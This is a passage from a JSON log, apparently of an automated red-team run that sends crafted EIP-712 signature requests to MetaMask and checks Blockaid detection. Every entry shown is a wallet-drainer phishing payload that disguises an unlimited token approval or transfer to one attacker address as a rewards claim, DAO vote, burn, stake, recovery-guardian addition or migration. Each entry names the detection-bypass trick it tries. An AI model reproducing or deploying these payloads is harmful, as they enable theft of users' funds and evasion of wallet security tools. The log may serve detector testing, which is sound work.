"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:28:24.499Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:28:34.057Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:28:43.621Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:28:53.181Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:29:02.752Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:29:12.312Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:29:21.874Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:29:31.436Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:29:41.003Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:29:50.565Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:30:00.132Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:30:09.686Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:30:19.255Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T19:30:28.818Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T19:30:38.390Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T19:30:47.958Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:30:57.512Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:31:07.085Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN64-EIP3009-022", "timestamp": "2026-01-31T19:31:16.664Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD 